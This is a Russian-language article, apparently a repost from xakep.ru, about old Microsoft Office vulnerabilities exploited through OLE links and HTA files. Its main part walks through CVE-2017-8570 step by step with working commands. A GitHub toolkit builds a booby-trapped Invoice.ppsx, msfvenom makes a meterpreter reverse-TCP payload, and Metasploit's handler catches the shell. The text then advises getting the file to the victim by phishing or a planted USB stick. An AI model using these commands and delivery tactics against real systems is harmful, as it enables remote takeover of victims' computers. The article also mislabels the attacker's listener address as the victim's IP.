Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье мы разберем несколько далеко не новых, но в свое время нашумевших критических уязвимостей в офисных программах Microsoft. Под них уже давно есть модули Metasploit и куча заготовок на GitHub. Однако непропатченный Office — это по-прежнему бич корпоративной безопасности и путь на компьютер пользователей.
В основе этого бага лежит ошибка, связанная с некорректной обработкой ответов от сервера в функции Microsoft OLE (Object Linking and Embedding), которая дает возможность встраивать одни документы внутрь других. Фича, конечно, полезная, но крайне небезопасная.
Когда зараженный документ открывают, приложение делает запрос на удаленный сервер, чтобы получить встроенный в этот документ файл. Сервер возвращает специально сформированный ответ. В нем содержится вpедоносный файл HTA, произвольный код из которого после загрузки выполняется на целевой системе.
Об этой проблеме стало известно в апреле 2017 года, а в августе произошел еще один важный эпизод: спецы из аналитического отдела Cisco рассказали о новой уязвимости, связанной с этой, — CVE-2017-0199. Если ранее для атак использовались документы Rich Text File (RTF), то новая угроза относилась к файлам PowerPoint (.ppsx).
Атака, использующая эту уязвимость, развивается по весьма простому сценарию: пользователю приходит письмо с вредоносным документом Word и обманом заставляет жертву открыть вложения. Внутри документа скрывается объект OLE2link. Если жертва использует Protected View, то эксплоит не сработает, но вот если этот режим выключен, то на сервер атакующих уйдет HTTP-запрос, который подгрузит файл HTA, замаскированный под RTF.
Загрузка файла HTA, замаскированного под документ RTF
Листинг дампа в дизассемблере, демонстрирующий «опасную начинку»
Когда файл HTA подгрузится, он будет выполнен автоматически. Таким образом эксплоит срабатывает, а исходный документ Word будет закрыт. Вместо него откроется документ-фальшивка, предназначенный для усыпления бдительности жертвы.
Первым делом идем на GitHub и смотрим эксплоиты. Я буду пользоваться вариантом пользователя tezukanice. Создаем в директории Office8570
папку template
и переносим в нее скачанный нами файл template.ppsx
.
Подготовительный этап
Теперь запускаем скрипт, чтобы сгенерировать файл PPSX с полезной нагрузкой:
$ python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.0.104/logo.doc
Указываем IP жертвы (в моем случае это 192.168.0.104) и видим, что появился файл Invoice.ppsx
.
Генерируем файл с полезной нагрузкой
Далее, используя Metasploit, создаем полезную нагрузку в виде файла shell.exe
в каталоге tmp
:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe > /tmp/shell.exe
Дело сделано, теперь запускаем слушатель, который будет чекать порт:
$ msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"
Чтобы все заработало, нам остается сделать еще одно действие — прописать команду на запуск локального сервера на 80-м порте.
$ python cve-2017-8570_toolkit.py -M exp -e http://192.168.0.104/shell.exe -l /tmp/shell.exe
И заключительный шаг — необходимо передать инфицированный файл презентации PowerPoint (Invoice.ppsx
) на машину жертвы. Как — уже другой вопрос. Можно подготовить фишинговое письмо, подбросить флешку или еще что-нибудь в таком духе. Когда жертва откроет файл на своей машине, отработает эксплоит, и мы получим виндовый шелл.
Демонстрацию бага можешь наблюдать на видео.
Этот опасный баг, который позволяет выполнить код без взаимодействия с пользователем, существовал 17 (семнадцать!) лет.
Исследователи объясняют, что проблема связана с работой Microsoft Equation Editor (EQNEDT32.EXE). Казалось бы, это же безобидный редактор формул! Но скомпилирован этот файл в последний раз был аж 9 ноября 2000 года. Разумеется, он не соответствует современным стандартам безопасности. В Office 2007 этот компонент заменили новой версией, но старую убирать не стали — людям же нужно открывать старые документы, верно?
Источник: xakep.ru
+